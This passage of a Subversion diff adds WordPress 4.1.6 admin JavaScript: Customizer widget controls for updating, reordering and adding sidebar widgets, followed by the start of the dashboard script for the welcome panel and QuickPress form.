+				// Check if the user is logged out.
+				if ( '0' === r ) {
+					api.previewer.preview.iframe.hide();
+					api.previewer.login().done( function() {
+						self.updateWidget( args );
+						api.previewer.preview.iframe.show();
+					} );
+					return;
+				}
+
+				// Check for cheaters.
+				if ( '-1' === r ) {
+					api.previewer.cheatin();
+					return;
+				}
+
+				if ( r.success ) {
+					sanitizedForm = $( '<div>' + r.data.form + '</div>' );
+					$sanitizedInputs = self._getInputs( sanitizedForm );
+					hasSameInputsInResponse = self._getInputsSignature( $inputs ) === self._getInputsSignature( $sanitizedInputs );
+
+					// Restore live update mode if sanitized fields are now aligned with the existing fields
+					if ( hasSameInputsInResponse && ! self.liveUpdateMode ) {
+						self.liveUpdateMode = true;
+						self.container.removeClass( 'widget-form-disabled' );
+						self.container.find( 'input[name="savewidget"]' ).hide();
+					}
+
+					// Sync sanitized field states to existing fields if they are aligned
+					if ( hasSameInputsInResponse && self.liveUpdateMode ) {
+						$inputs.each( function( i ) {
+							var $input = $( this ),
+								$sanitizedInput = $( $sanitizedInputs[i] ),
+								property = self._getInputStatePropertyName( this ),
+								submittedState, sanitizedState,	canUpdateState;
+
+							submittedState = $input.data( 'state' + updateNumber );
+							sanitizedState = $sanitizedInput.prop( property );
+							$input.data( 'sanitized', sanitizedState );
+
+							canUpdateState = ( submittedState !== sanitizedState && ( args.ignoreActiveElement || ! $input.is( document.activeElement ) )	);
+							if ( canUpdateState ) {
+								$input.prop( property, sanitizedState );
+							}
+						} );
+
+						$( document ).trigger( 'widget-synced', [ $widgetRoot, r.data.form ] );
+
+					// Otherwise, if sanitized fields are not aligned with existing fields, disable live update mode if enabled
+					} else if ( self.liveUpdateMode ) {
+						self.liveUpdateMode = false;
+						self.container.find( 'input[name="savewidget"]' ).show();
+						isLiveUpdateAborted = true;
+
+					// Otherwise, replace existing form with the sanitized form
+					} else {
+						$widgetContent.html( r.data.form );
+
+						self.container.removeClass( 'widget-form-disabled' );
+
+						$( document ).trigger( 'widget-updated', [ $widgetRoot ] );
+					}
+
+					/**
+					 * If the old instance is identical to the new one, there is nothing new
+					 * needing to be rendered, and so we can preempt the event for the
+					 * preview finishing loading.
+					 */
+					isChanged = ! isLiveUpdateAborted && ! _( self.setting() ).isEqual( r.data.instance );
+					if ( isChanged ) {
+						self.isWidgetUpdating = true; // suppress triggering another updateWidget
+						self.setting( r.data.instance );
+						self.isWidgetUpdating = false;
+					} else {
+						// no change was made, so stop the spinner now instead of when the preview would updates
+						self.container.removeClass( 'previewer-loading' );
+					}
+
+					if ( completeCallback ) {
+						completeCallback.call( self, null, { noChange: ! isChanged, ajaxFinished: true } );
+					}
+				} else {
+					// General error message
+					message = l10n.error;
+
+					if ( r.data && r.data.message ) {
+						message = r.data.message;
+					}
+
+					if ( completeCallback ) {
+						completeCallback.call( self, message );
+					} else {
+						$widgetContent.prepend( '<p class="widget-error"><strong>' + message + '</strong></p>' );
+					}
+				}
+			} );
+
+			jqxhr.fail( function( jqXHR, textStatus ) {
+				if ( completeCallback ) {
+					completeCallback.call( self, textStatus );
+				}
+			} );
+
+			jqxhr.always( function() {
+				self.container.removeClass( 'widget-form-loading' );
+
+				$inputs.each( function() {
+					$( this ).removeData( 'state' + updateNumber );
+				} );
+
+				processing( processing() - 1 );
+			} );
+		},
+
+		/**
+		 * Expand the accordion section containing a control
+		 */
+		expandControlSection: function() {
+			api.Control.prototype.expand.call( this );
+		},
+
+		/**
+		 * @since 4.1.0
+		 *
+		 * @param {Boolean} expanded
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if state already applied
+		 */
+		_toggleExpanded: api.Section.prototype._toggleExpanded,
+
+		/**
+		 * @since 4.1.0
+		 *
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if already expanded
+		 */
+		expand: api.Section.prototype.expand,
+
+		/**
+		 * Expand the widget form control
+		 *
+		 * @deprecated 4.1.0 Use this.expand() instead.
+		 */
+		expandForm: function() {
+			this.expand();
+		},
+
+		/**
+		 * @since 4.1.0
+		 *
+		 * @param {Object} [params]
+		 * @returns {Boolean} false if already collapsed
+		 */
+		collapse: api.Section.prototype.collapse,
+
+		/**
+		 * Collapse the widget form control
+		 *
+		 * @deprecated 4.1.0 Use this.collapse() instead.
+		 */
+		collapseForm: function() {
+			this.collapse();
+		},
+
+		/**
+		 * Expand or collapse the widget control
+		 *
+		 * @deprecated this is poor naming, and it is better to directly set control.expanded( showOrHide )
+		 *
+		 * @param {boolean|undefined} [showOrHide] If not supplied, will be inverse of current visibility
+		 */
+		toggleForm: function( showOrHide ) {
+			if ( typeof showOrHide === 'undefined' ) {
+				showOrHide = ! this.expanded();
+			}
+			this.expanded( showOrHide );
+		},
+
+		/**
+		 * Respond to change in the expanded state.
+		 *
+		 * @param {Boolean} expanded
+		 * @param {Object} args  merged on top of this.defaultActiveArguments
+		 */
+		onChangeExpanded: function ( expanded, args ) {
+			var self = this, $widget, $inside, complete, prevComplete;
+
+			// If the expanded state is unchanged only manipulate container expanded states
+			if ( args.unchanged ) {
+				if ( expanded ) {
+					api.Control.prototype.expand.call( self, {
+						completeCallback:  args.completeCallback
+					});
+				}
+				return;
+			}
+
+			$widget = this.container.find( 'div.widget:first' );
+			$inside = $widget.find( '.widget-inside:first' );
+
+			if ( expanded ) {
+
+				self.expandControlSection();
+
+				// Close all other widget controls before expanding this one
+				api.control.each( function( otherControl ) {
+					if ( self.params.type === otherControl.params.type && self !== otherControl ) {
+						otherControl.collapse();
+					}
+				} );
+
+				complete = function() {
+					self.container.removeClass( 'expanding' );
+					self.container.addClass( 'expanded' );
+					self.container.trigger( 'expanded' );
+				};
+				if ( args.completeCallback ) {
+					prevComplete = complete;
+					complete = function () {
+						prevComplete();
+						args.completeCallback();
+					};
+				}
+
+				if ( self.params.is_wide ) {
+					$inside.fadeIn( args.duration, complete );
+				} else {
+					$inside.slideDown( args.duration, complete );
+				}
+
+				self.container.trigger( 'expand' );
+				self.container.addClass( 'expanding' );
+			} else {
+
+				complete = function() {
+					self.container.removeClass( 'collapsing' );
+					self.container.removeClass( 'expanded' );
+					self.container.trigger( 'collapsed' );
+				};
+				if ( args.completeCallback ) {
+					prevComplete = complete;
+					complete = function () {
+						prevComplete();
+						args.completeCallback();
+					};
+				}
+
+				self.container.trigger( 'collapse' );
+				self.container.addClass( 'collapsing' );
+
+				if ( self.params.is_wide ) {
+					$inside.fadeOut( args.duration, complete );
+				} else {
+					$inside.slideUp( args.duration, function() {
+						$widget.css( { width:'', margin:'' } );
+						complete();
+					} );
+				}
+			}
+		},
+
+		/**
+		 * Get the position (index) of the widget in the containing sidebar
+		 *
+		 * @returns {Number}
+		 */
+		getWidgetSidebarPosition: function() {
+			var sidebarWidgetIds, position;
+
+			sidebarWidgetIds = this.getSidebarWidgetsControl().setting();
+			position = _.indexOf( sidebarWidgetIds, this.params.widget_id );
+
+			if ( position === -1 ) {
+				return;
+			}
+
+			return position;
+		},
+
+		/**
+		 * Move widget up one in the sidebar
+		 */
+		moveUp: function() {
+			this._moveWidgetByOne( -1 );
+		},
+
+		/**
+		 * Move widget up one in the sidebar
+		 */
+		moveDown: function() {
+			this._moveWidgetByOne( 1 );
+		},
+
+		/**
+		 * @private
+		 *
+		 * @param {Number} offset 1|-1
+		 */
+		_moveWidgetByOne: function( offset ) {
+			var i, sidebarWidgetsSetting, sidebarWidgetIds,	adjacentWidgetId;
+
+			i = this.getWidgetSidebarPosition();
+
+			sidebarWidgetsSetting = this.getSidebarWidgetsControl().setting;
+			sidebarWidgetIds = Array.prototype.slice.call( sidebarWidgetsSetting() ); // clone
+			adjacentWidgetId = sidebarWidgetIds[i + offset];
+			sidebarWidgetIds[i + offset] = this.params.widget_id;
+			sidebarWidgetIds[i] = adjacentWidgetId;
+
+			sidebarWidgetsSetting( sidebarWidgetIds );
+		},
+
+		/**
+		 * Toggle visibility of the widget move area
+		 *
+		 * @param {Boolean} [showOrHide]
+		 */
+		toggleWidgetMoveArea: function( showOrHide ) {
+			var self = this, $moveWidgetArea;
+
+			$moveWidgetArea = this.container.find( '.move-widget-area' );
+
+			if ( typeof showOrHide === 'undefined' ) {
+				showOrHide = ! $moveWidgetArea.hasClass( 'active' );
+			}
+
+			if ( showOrHide ) {
+				// reset the selected sidebar
+				$moveWidgetArea.find( '.selected' ).removeClass( 'selected' );
+
+				$moveWidgetArea.find( 'li' ).filter( function() {
+					return $( this ).data( 'id' ) === self.params.sidebar_id;
+				} ).addClass( 'selected' );
+
+				this.container.find( '.move-widget-btn' ).prop( 'disabled', true );
+			}
+
+			$moveWidgetArea.toggleClass( 'active', showOrHide );
+		},
+
+		/**
+		 * Highlight the widget control and section
+		 */
+		highlightSectionAndControl: function() {
+			var $target;
+
+			if ( this.container.is( ':hidden' ) ) {
+				$target = this.container.closest( '.control-section' );
+			} else {
+				$target = this.container;
+			}
+
+			$( '.highlighted' ).removeClass( 'highlighted' );
+			$target.addClass( 'highlighted' );
+
+			setTimeout( function() {
+				$target.removeClass( 'highlighted' );
+			}, 500 );
+		}
+	} );
+
+	/**
+	 * wp.customize.Widgets.SidebarSection
+	 *
+	 * Customizer section representing a widget area widget
+	 *
+	 * @since 4.1.0
+	 */
+	api.Widgets.SidebarSection = api.Section.extend({
+
+		/**
+		 * Sync the section's active state back to the Backbone model's is_rendered attribute
+		 *
+		 * @since 4.1.0
+		 */
+		ready: function () {
+			var section = this, registeredSidebar;
+			api.Section.prototype.ready.call( this );
+			registeredSidebar = api.Widgets.registeredSidebars.get( section.params.sidebarId );
+			section.active.bind( function ( active ) {
+				registeredSidebar.set( 'is_rendered', active );
+			});
+			registeredSidebar.set( 'is_rendered', section.active() );
+		}
+	});
+
+	/**
+	 * wp.customize.Widgets.SidebarControl
+	 *
+	 * Customizer control for widgets.
+	 * Note that 'sidebar_widgets' must match the WP_Widget_Area_Customize_Control::$type
+	 *
+	 * @since 3.9.0
+	 *
+	 * @constructor
+	 * @augments wp.customize.Control
+	 */
+	api.Widgets.SidebarControl = api.Control.extend({
+
+		/**
+		 * Set up the control
+		 */
+		ready: function() {
+			this.$controlSection = this.container.closest( '.control-section' );
+			this.$sectionContent = this.container.closest( '.accordion-section-content' );
+
+			this._setupModel();
+			this._setupSortable();
+			this._setupAddition();
+			this._applyCardinalOrderClassNames();
+		},
+
+		/**
+		 * Update ordering of widget control forms when the setting is updated
+		 */
+		_setupModel: function() {
+			var self = this;
+
+			this.setting.bind( function( newWidgetIds, oldWidgetIds ) {
+				var widgetFormControls, removedWidgetIds, priority;
+
+				removedWidgetIds = _( oldWidgetIds ).difference( newWidgetIds );
+
+				// Filter out any persistent widget IDs for widgets which have been deactivated
+				newWidgetIds = _( newWidgetIds ).filter( function( newWidgetId ) {
+					var parsedWidgetId = parseWidgetId( newWidgetId );
+
+					return !! api.Widgets.availableWidgets.findWhere( { id_base: parsedWidgetId.id_base } );
+				} );
+
+				widgetFormControls = _( newWidgetIds ).map( function( widgetId ) {
+					var widgetFormControl = api.Widgets.getWidgetFormControlForWidget( widgetId );
+
+					if ( ! widgetFormControl ) {
+						widgetFormControl = self.addWidget( widgetId );
+					}
+
+					return widgetFormControl;
+				} );
+
+				// Sort widget controls to their new positions
+				widgetFormControls.sort( function( a, b ) {
+					var aIndex = _.indexOf( newWidgetIds, a.params.widget_id ),
+						bIndex = _.indexOf( newWidgetIds, b.params.widget_id );
+					return aIndex - bIndex;
+				});
+
+				priority = 0;
+				_( widgetFormControls ).each( function ( control ) {
+					control.priority( priority );
+					control.section( self.section() );
+					priority += 1;
+				});
+				self.priority( priority ); // Make sure sidebar control remains at end
+
+				// Re-sort widget form controls (including widgets form other sidebars newly moved here)
+				self._applyCardinalOrderClassNames();
+
+				// If the widget was dragged into the sidebar, make sure the sidebar_id param is updated
+				_( widgetFormControls ).each( function( widgetFormControl ) {
+					widgetFormControl.params.sidebar_id = self.params.sidebar_id;
+				} );
+
+				// Cleanup after widget removal
+				_( removedWidgetIds ).each( function( removedWidgetId ) {
+
+					// Using setTimeout so that when moving a widget to another sidebar, the other sidebars_widgets settings get a chance to update
+					setTimeout( function() {
+						var removedControl, wasDraggedToAnotherSidebar, inactiveWidgets, removedIdBase,
+							widget, isPresentInAnotherSidebar = false;
+
+						// Check if the widget is in another sidebar
+						api.each( function( otherSetting ) {
+							if ( otherSetting.id === self.setting.id || 0 !== otherSetting.id.indexOf( 'sidebars_widgets[' ) || otherSetting.id === 'sidebars_widgets[wp_inactive_widgets]' ) {
+								return;
+							}
+
+							var otherSidebarWidgets = otherSetting(), i;
+
+							i = _.indexOf( otherSidebarWidgets, removedWidgetId );
+							if ( -1 !== i ) {
+								isPresentInAnotherSidebar = true;
+							}
+						} );
+
+						// If the widget is present in another sidebar, abort!
+						if ( isPresentInAnotherSidebar ) {
+							return;
+						}
+
+						removedControl = api.Widgets.getWidgetFormControlForWidget( removedWidgetId );
+
+						// Detect if widget control was dragged to another sidebar
+						wasDraggedToAnotherSidebar = removedControl && $.contains( document, removedControl.container[0] ) && ! $.contains( self.$sectionContent[0], removedControl.container[0] );
+
+						// Delete any widget form controls for removed widgets
+						if ( removedControl && ! wasDraggedToAnotherSidebar ) {
+							api.control.remove( removedControl.id );
+							removedControl.container.remove();
+						}
+
+						// Move widget to inactive widgets sidebar (move it to trash) if has been previously saved
+						// This prevents the inactive widgets sidebar from overflowing with throwaway widgets
+						if ( api.Widgets.savedWidgetIds[removedWidgetId] ) {
+							inactiveWidgets = api.value( 'sidebars_widgets[wp_inactive_widgets]' )().slice();
+							inactiveWidgets.push( removedWidgetId );
+							api.value( 'sidebars_widgets[wp_inactive_widgets]' )( _( inactiveWidgets ).unique() );
+						}
+
+						// Make old single widget available for adding again
+						removedIdBase = parseWidgetId( removedWidgetId ).id_base;
+						widget = api.Widgets.availableWidgets.findWhere( { id_base: removedIdBase } );
+						if ( widget && ! widget.get( 'is_multi' ) ) {
+							widget.set( 'is_disabled', false );
+						}
+					} );
+
+				} );
+			} );
+		},
+
+		/**
+		 * Allow widgets in sidebar to be re-ordered, and for the order to be previewed
+		 */
+		_setupSortable: function() {
+			var self = this;
+
+			this.isReordering = false;
+
+			/**
+			 * Update widget order setting when controls are re-ordered
+			 */
+			this.$sectionContent.sortable( {
+				items: '> .customize-control-widget_form',
+				handle: '.widget-top',
+				axis: 'y',
+				connectWith: '.accordion-section-content:has(.customize-control-sidebar_widgets)',
+				update: function() {
+					var widgetContainerIds = self.$sectionContent.sortable( 'toArray' ), widgetIds;
+
+					widgetIds = $.map( widgetContainerIds, function( widgetContainerId ) {
+						return $( '#' + widgetContainerId ).find( ':input[name=widget-id]' ).val();
+					} );
+
+					self.setting( widgetIds );
+				}
+			} );
+
+			/**
+			 * Expand other Customizer sidebar section when dragging a control widget over it,
+			 * allowing the control to be dropped into another section
+			 */
+			this.$controlSection.find( '.accordion-section-title' ).droppable({
+				accept: '.customize-control-widget_form',
+				over: function() {
+					var section = api.section( self.section.get() );
+					section.expand({
+						allowMultiple: true, // Prevent the section being dragged from to be collapsed
+						completeCallback: function () {
+							// @todo It is not clear when refreshPositions should be called on which sections, or if it is even needed
+							api.section.each( function ( otherSection ) {
+								if ( otherSection.container.find( '.customize-control-sidebar_widgets' ).length ) {
+									otherSection.container.find( '.accordion-section-content:first' ).sortable( 'refreshPositions' );
+								}
+							} );
+						}
+					});
+				}
+			});
+
+			/**
+			 * Keyboard-accessible reordering
+			 */
+			this.container.find( '.reorder-toggle' ).on( 'click keydown', function( event ) {
+				if ( event.type === 'keydown' && ! ( event.which === 13 || event.which === 32 ) ) { // Enter or Spacebar
+					return;
+				}
+
+				self.toggleReordering( ! self.isReordering );
+			} );
+		},
+
+		/**
+		 * Set up UI for adding a new widget
+		 */
+		_setupAddition: function() {
+			var self = this;
+
+			this.container.find( '.add-new-widget' ).on( 'click keydown', function( event ) {
+				if ( event.type === 'keydown' && ! ( event.which === 13 || event.which === 32 ) ) { // Enter or Spacebar
+					return;
+				}
+
+				if ( self.$sectionContent.hasClass( 'reordering' ) ) {
+					return;
+				}
+
+				if ( ! $( 'body' ).hasClass( 'adding-widget' ) ) {
+					api.Widgets.availableWidgetsPanel.open( self );
+				} else {
+					api.Widgets.availableWidgetsPanel.close();
+				}
+			} );
+		},
+
+		/**
+		 * Add classes to the widget_form controls to assist with styling
+		 */
+		_applyCardinalOrderClassNames: function() {
+			var widgetControls = [];
+			_.each( this.setting(), function ( widgetId ) {
+				var widgetControl = api.Widgets.getWidgetFormControlForWidget( widgetId );
+				if ( widgetControl ) {
+					widgetControls.push( widgetControl );
+				}
+			});
+
+			if ( ! widgetControls.length ) {
+				return;
+			}
+
+			$( widgetControls ).each( function () {
+				$( this.container )
+					.removeClass( 'first-widget' )
+					.removeClass( 'last-widget' )
+					.find( '.move-widget-down, .move-widget-up' ).prop( 'tabIndex', 0 );
+			});
+
+			_.first( widgetControls ).container
+				.addClass( 'first-widget' )
+				.find( '.move-widget-up' ).prop( 'tabIndex', -1 );
+
+			_.last( widgetControls ).container
+				.addClass( 'last-widget' )
+				.find( '.move-widget-down' ).prop( 'tabIndex', -1 );
+		},
+
+
+		/***********************************************************************
+		 * Begin public API methods
+		 **********************************************************************/
+
+		/**
+		 * Enable/disable the reordering UI
+		 *
+		 * @param {Boolean} showOrHide to enable/disable reordering
+		 *
+		 * @todo We should have a reordering state instead and rename this to onChangeReordering
+		 */
+		toggleReordering: function( showOrHide ) {
+			showOrHide = Boolean( showOrHide );
+
+			if ( showOrHide === this.$sectionContent.hasClass( 'reordering' ) ) {
+				return;
+			}
+
+			this.isReordering = showOrHide;
+			this.$sectionContent.toggleClass( 'reordering', showOrHide );
+
+			if ( showOrHide ) {
+				_( this.getWidgetFormControls() ).each( function( formControl ) {
+					formControl.collapse();
+				} );
+
+				this.$sectionContent.find( '.first-widget .move-widget' ).focus();
+				this.$sectionContent.find( '.add-new-widget' ).prop( 'tabIndex', -1 );
+			} else {
+				this.$sectionContent.find( '.add-new-widget' ).prop( 'tabIndex', 0 );
+			}
+		},
+
+		/**
+		 * @return {wp.customize.controlConstructor.widget_form[]}
+		 */
+		getWidgetFormControls: function() {
+			var formControls;
+
+			formControls = _( this.setting() ).map( function( widgetId ) {
+				var settingId = widgetIdToSettingId( widgetId ),
+					formControl = api.control( settingId );
+
+				if ( ! formControl ) {
+					return;
+				}
+
+				return formControl;
+			} );
+
+			return formControls;
+		},
+
+		/**
+		 * @param {string} widgetId or an id_base for adding a previously non-existing widget
+		 * @returns {object|false} widget_form control instance, or false on error
+		 */
+		addWidget: function( widgetId ) {
+			var self = this, controlHtml, $widget, controlType = 'widget_form', controlContainer, controlConstructor,
+				parsedWidgetId = parseWidgetId( widgetId ),
+				widgetNumber = parsedWidgetId.number,
+				widgetIdBase = parsedWidgetId.id_base,
+				widget = api.Widgets.availableWidgets.findWhere( {id_base: widgetIdBase} ),
+				settingId, isExistingWidget, widgetFormControl, sidebarWidgets, settingArgs, setting;
+
+			if ( ! widget ) {
+				return false;
+			}
+
+			if ( widgetNumber && ! widget.get( 'is_multi' ) ) {
+				return false;
+			}
+
+			// Set up new multi widget
+			if ( widget.get( 'is_multi' ) && ! widgetNumber ) {
+				widget.set( 'multi_number', widget.get( 'multi_number' ) + 1 );
+				widgetNumber = widget.get( 'multi_number' );
+			}
+
+			controlHtml = $.trim( $( '#widget-tpl-' + widget.get( 'id' ) ).html() );
+			if ( widget.get( 'is_multi' ) ) {
+				controlHtml = controlHtml.replace( /<[^<>]+>/g, function( m ) {
+					return m.replace( /__i__|%i%/g, widgetNumber );
+				} );
+			} else {
+				widget.set( 'is_disabled', true ); // Prevent single widget from being added again now
+			}
+
+			$widget = $( controlHtml );
+
+			controlContainer = $( '<li/>' )
+				.addClass( 'customize-control' )
+				.addClass( 'customize-control-' + controlType )
+				.append( $widget );
+
+			// Remove icon which is visible inside the panel
+			controlContainer.find( '> .widget-icon' ).remove();
+
+			if ( widget.get( 'is_multi' ) ) {
+				controlContainer.find( 'input[name="widget_number"]' ).val( widgetNumber );
+				controlContainer.find( 'input[name="multi_number"]' ).val( widgetNumber );
+			}
+
+			widgetId = controlContainer.find( '[name="widget-id"]' ).val();
+
+			controlContainer.hide(); // to be slid-down below
+
+			settingId = 'widget_' + widget.get( 'id_base' );
+			if ( widget.get( 'is_multi' ) ) {
+				settingId += '[' + widgetNumber + ']';
+			}
+			controlContainer.attr( 'id', 'customize-control-' + settingId.replace( /\]/g, '' ).replace( /\[/g, '-' ) );
+
+			// Only create setting if it doesn't already exist (if we're adding a pre-existing inactive widget)
+			isExistingWidget = api.has( settingId );
+			if ( ! isExistingWidget ) {
+				settingArgs = {
+					transport: 'refresh',
+					previewer: this.setting.previewer
+				};
+				setting = api.create( settingId, settingId, '', settingArgs );
+				setting.set( {} ); // mark dirty, changing from '' to {}
+			}
+
+			controlConstructor = api.controlConstructor[controlType];
+			widgetFormControl = new controlConstructor( settingId, {
+				params: {
+					settings: {
+						'default': settingId
+					},
+					content: controlContainer,
+					sidebar_id: self.params.sidebar_id,
+					widget_id: widgetId,
+					widget_id_base: widget.get( 'id_base' ),
+					type: controlType,
+					is_new: ! isExistingWidget,
+					width: widget.get( 'width' ),
+					height: widget.get( 'height' ),
+					is_wide: widget.get( 'is_wide' )
+				},
+				previewer: self.setting.previewer
+			} );
+			api.control.add( settingId, widgetFormControl );
+
+			// Make sure widget is removed from the other sidebars
+			api.each( function( otherSetting ) {
+				if ( otherSetting.id === self.setting.id ) {
+					return;
+				}
+
+				if ( 0 !== otherSetting.id.indexOf( 'sidebars_widgets[' ) ) {
+					return;
+				}
+
+				var otherSidebarWidgets = otherSetting().slice(),
+					i = _.indexOf( otherSidebarWidgets, widgetId );
+
+				if ( -1 !== i ) {
+					otherSidebarWidgets.splice( i );
+					otherSetting( otherSidebarWidgets );
+				}
+			} );
+
+			// Add widget to this sidebar
+			sidebarWidgets = this.setting().slice();
+			if ( -1 === _.indexOf( sidebarWidgets, widgetId ) ) {
+				sidebarWidgets.push( widgetId );
+				this.setting( sidebarWidgets );
+			}
+
+			controlContainer.slideDown( function() {
+				if ( isExistingWidget ) {
+					widgetFormControl.expand();
+					widgetFormControl.updateWidget( {
+						instance: widgetFormControl.setting(),
+						complete: function( error ) {
+							if ( error ) {
+								throw error;
+							}
+							widgetFormControl.focus();
+						}
+					} );
+				} else {
+					widgetFormControl.focus();
+				}
+			} );
+
+			return widgetFormControl;
+		}
+	} );
+
+	// Register models for custom section and control types
+	$.extend( api.sectionConstructor, {
+		sidebar: api.Widgets.SidebarSection
+	});
+	$.extend( api.controlConstructor, {
+		widget_form: api.Widgets.WidgetControl,
+		sidebar_widgets: api.Widgets.SidebarControl
+	});
+
+	/**
+	 * Init Customizer for widgets.
+	 */
+	api.bind( 'ready', function() {
+		// Set up the widgets panel
+		api.Widgets.availableWidgetsPanel = new api.Widgets.AvailableWidgetsPanelView({
+			collection: api.Widgets.availableWidgets
+		});
+
+		// Highlight widget control
+		api.previewer.bind( 'highlight-widget-control', api.Widgets.highlightWidgetFormControl );
+
+		// Open and focus widget control
+		api.previewer.bind( 'focus-widget-control', api.Widgets.focusWidgetFormControl );
+	} );
+
+	/**
+	 * Highlight a widget control.
+	 *
+	 * @param {string} widgetId
+	 */
+	api.Widgets.highlightWidgetFormControl = function( widgetId ) {
+		var control = api.Widgets.getWidgetFormControlForWidget( widgetId );
+
+		if ( control ) {
+			control.highlightSectionAndControl();
+		}
+	},
+
+	/**
+	 * Focus a widget control.
+	 *
+	 * @param {string} widgetId
+	 */
+	api.Widgets.focusWidgetFormControl = function( widgetId ) {
+		var control = api.Widgets.getWidgetFormControlForWidget( widgetId );
+
+		if ( control ) {
+			control.focus();
+		}
+	},
+
+	/**
+	 * Given a widget control, find the sidebar widgets control that contains it.
+	 * @param {string} widgetId
+	 * @return {object|null}
+	 */
+	api.Widgets.getSidebarWidgetControlContainingWidget = function( widgetId ) {
+		var foundControl = null;
+
+		// @todo this can use widgetIdToSettingId(), then pass into wp.customize.control( x ).getSidebarWidgetsControl()
+		api.control.each( function( control ) {
+			if ( control.params.type === 'sidebar_widgets' && -1 !== _.indexOf( control.setting(), widgetId ) ) {
+				foundControl = control;
+			}
+		} );
+
+		return foundControl;
+	};
+
+	/**
+	 * Given a widget ID for a widget appearing in the preview, get the widget form control associated with it.
+	 *
+	 * @param {string} widgetId
+	 * @return {object|null}
+	 */
+	api.Widgets.getWidgetFormControlForWidget = function( widgetId ) {
+		var foundControl = null;
+
+		// @todo We can just use widgetIdToSettingId() here
+		api.control.each( function( control ) {
+			if ( control.params.type === 'widget_form' && control.params.widget_id === widgetId ) {
+				foundControl = control;
+			}
+		} );
+
+		return foundControl;
+	};
+
+	/**
+	 * @param {String} widgetId
+	 * @returns {Object}
+	 */
+	function parseWidgetId( widgetId ) {
+		var matches, parsed = {
+			number: null,
+			id_base: null
+		};
+
+		matches = widgetId.match( /^(.+)-(\d+)$/ );
+		if ( matches ) {
+			parsed.id_base = matches[1];
+			parsed.number = parseInt( matches[2], 10 );
+		} else {
+			// likely an old single widget
+			parsed.id_base = widgetId;
+		}
+
+		return parsed;
+	}
+
+	/**
+	 * @param {String} widgetId
+	 * @returns {String} settingId
+	 */
+	function widgetIdToSettingId( widgetId ) {
+		var parsed = parseWidgetId( widgetId ), settingId;
+
+		settingId = 'widget_' + parsed.id_base;
+		if ( parsed.number ) {
+			settingId += '[' + parsed.number + ']';
+		}
+
+		return settingId;
+	}
+
+})( window.wp, jQuery );
Index: /tags/4.1.6/src/wp-admin/js/dashboard.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/dashboard.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/dashboard.js	(revision 33402)
@@ -0,0 +1,190 @@
+/* global pagenow, ajaxurl, postboxes, wpActiveEditor:true */
+var ajaxWidgets, ajaxPopulateWidgets, quickPressLoad;
+
+jQuery(document).ready( function($) {
+	var welcomePanel = $( '#welcome-panel' ),
+		welcomePanelHide = $('#wp_welcome_panel-hide'),
+		updateWelcomePanel;
+
+	updateWelcomePanel = function( visible ) {
+		$.post( ajaxurl, {
+			action: 'update-welcome-panel',
+			visible: visible,
+			welcomepanelnonce: $( '#welcomepanelnonce' ).val()
+		});
+	};
+
+	if ( welcomePanel.hasClass('hidden') && welcomePanelHide.prop('checked') ) {
+		welcomePanel.removeClass('hidden');
+	}
+
+	$('.welcome-panel-close, .welcome-panel-dismiss a', welcomePanel).click( function(e) {
+		e.preventDefault();
+		welcomePanel.addClass('hidden');
+		updateWelcomePanel( 0 );
+		$('#wp_welcome_panel-hide').prop('checked', false);
+	});
+
+	welcomePanelHide.click( function() {
+		welcomePanel.toggleClass('hidden', ! this.checked );
+		updateWelcomePanel( this.checked ? 1 : 0 );
+	});
+
+	// These widgets are sometimes populated via ajax
+	ajaxWidgets = ['dashboard_primary'];
+
+	ajaxPopulateWidgets = function(el) {
+		function show(i, id) {
+			var p, e = $('#' + id + ' div.inside:visible').find('.widget-loading');
+			if ( e.length ) {
+				p = e.parent();
+				setTimeout( function(){
+					p.load( ajaxurl + '?action=dashboard-widgets&widget=' + id + '&pagenow=' + pagenow, '', function() {
+						p.hide().slideDown('normal', function(){
+							$(this).css('display', '');
+						});
+					});
+				}, i * 500 );
+			}
+		}
+
+		if ( el ) {
+			el = el.toString();
+			if ( $.inArray(el, ajaxWidgets) !== -1 ) {
+				show(0, el);
+			}
+		} else {
+			$.each( ajaxWidgets, show );
+		}
+	};
+	ajaxPopulateWidgets();
+
+	postboxes.add_postbox_toggles(pagenow, { pbshow: ajaxPopulateWidgets } );
+
+	/* QuickPress */
+	quickPressLoad = function() {
+		var act = $('#quickpost-action'), t;
+
+		$( '#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]' ).prop( 'disabled' , false );
+
+		t = $('#quick-press').submit( function() {
+			$('#dashboard_quick_press #publishing-action .spinner').show();
+			$('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').prop('disabled', true);
+
+			$.post( t.attr( 'action' ), t.serializeArray(), function( data ) {
+				// Replace the form, and prepend the published post.
+				$('#dashboard_quick_press .inside').html( data );
+				$('#quick-press').removeClass('initial-form');
+				quickPressLoad();
+				highlightLatestPost();
+				$('#title').focus();
+			});
+
+			function highlightLatestPost () {
+				var latestPost = $('.drafts ul li').first();
+				latestPost.css('background', '#fffbe5');
+				setTimeout(function () {
+					latestPost.css('background', 'none');
+				}, 1000);
+			}
+
+			return false;
+		} );
+
+		$('#publish').click( function() { act.val( 'post-quickpress-publish' ); } );
+
+		$('#title, #tags-input, #content').each( function() {
+			var input = $(this), prompt = $('#' + this.id + '-prompt-text');
+
+			if ( '' === this.value ) {
+				prompt.removeClass('screen-reader-text');
+			}
+
+			prompt.click( function() {
+				$(this).addClass('screen-reader-text');
+				input.focus();
+			});
+
+			input.blur( function() {
+				if ( '' === this.value ) {
+					prompt.removeClass('screen-reader-text');
+				}
+			});
+
+			input.focus( function() {
+				prompt.addClass('screen-reader-text');
+			});
+		});
+
+		$('#quick-press').on( 'click focusin', function() {
+			wpActiveEditor = 'content';
+		});
+
+		autoResizeTextarea();
+	};
+	quickPressLoad();
+
+	$( '.meta-box-sortables' ).sortable( 'option', 'containment', 'document' );
+
+	function autoResizeTextarea() {
+		if ( document.documentMode && document.documentMode < 9 ) {
+			return;
+		}
+
+		// Add a hidden div. We'll copy over the text from the textarea to measure its height.
+		$('body').append( '<div class="quick-draft-textarea-clone" style="display: none;"></div>' );
+
+		var clone = $('.quick-draft-textarea-clone'),
+			editor = $('#content'),
+			editorHeight = editor.height(),
+			// 100px roughly accounts for browser chrome and allows the
+			// save draft button to show on-screen at the same time.
+			editorMaxHeight = $(window).height() - 100;
+
+		// Match up textarea and clone div as much as possible.
